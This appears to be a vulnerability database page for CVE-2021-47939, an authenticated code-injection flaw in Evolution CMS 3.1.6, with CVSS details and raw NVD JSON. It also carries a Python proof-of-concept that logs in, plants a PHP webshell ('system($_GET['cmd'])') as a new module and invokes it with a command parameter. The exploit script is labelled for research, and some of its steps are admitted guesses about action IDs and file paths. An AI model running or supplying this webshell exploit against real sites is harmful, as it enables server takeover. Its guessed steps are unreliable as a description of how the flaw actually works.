Security Vulnerability Report
中文
CVE-2021-47939 CVSS 8.8 HIGH

CVE-2021-47939

Published: 2026-05-10 13:16:30
Last Modified: 2026-05-12 14:24:15

Description

Evolution CMS 3.1.6 contains a remote code execution vulnerability that allows authenticated users with module creation permissions to execute arbitrary system commands by injecting PHP code into module parameters. Attackers can send POST requests to /manager/index.php with malicious PHP code in the 'post' parameter to create modules that execute arbitrary commands when invoked.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Evolution CMS 3.1.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for Evolution CMS manager target_url = "http://target-site.com/manager/index.php" # Credentials for a low-privileged user with module creation permissions username = "attacker" password = "password" # 1. Authenticate with the application session = requests.Session() login_data = { "username": username, "password": password, "action": "login" } login_response = session.post(target_url, data=login_data) if login_response.status_code == 200: print("[+] Login successful") # 2. Prepare the payload to inject PHP code # The vulnerability resides in the 'post' parameter during module creation # This payload creates a simple webshell php_payload = "system($_GET['cmd']);" exploit_data = { "a": "112", # Action ID for module saving (may vary by version) "mode": "new", "name": "EvilModule", "post": php_payload, # Vulnerable parameter "description": "Benign description" } # 3. Send the exploit request to create the malicious module exploit_response = session.post(target_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] Module creation request sent") # 4. Trigger the exploit (Hypothetical execution) # Assuming the module can be accessed or triggered to execute the code trigger_url = "http://target-site.com/assets/modules/EvilModule.php" cmd = "whoami" trigger_response = session.get(f"{trigger_url}?cmd={cmd}") print(f"[+] Command execution result: {trigger_response.text}") else: print("[-] Exploit request failed") else: print("[-] Login failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47939", "sourceIdentifier": "[email protected]", "published": "2026-05-10T13:16:30.233", "lastModified": "2026-05-12T14:24:15.210", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Evolution CMS 3.1.6 contains a remote code execution vulnerability that allows authenticated users with module creation permissions to execute arbitrary system commands by injecting PHP code into module parameters. Attackers can send POST requests to /manager/index.php with malicious PHP code in the 'post' parameter to create modules that execute arbitrary commands when invoked."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://evo.im/", "source": "[email protected]"}, {"url": "https://github.com/evolution-cms/evolution/releases", "source": "[email protected]"}, {"url": "https://www.exploit-db.com/exploits/50296", "source": "[email protected]"}, {"url": "https://www.vulncheck.com/advisories/evolution-cms-authenticated-remote-code-execution-via-module-creation", "source": "[email protected]"}]}}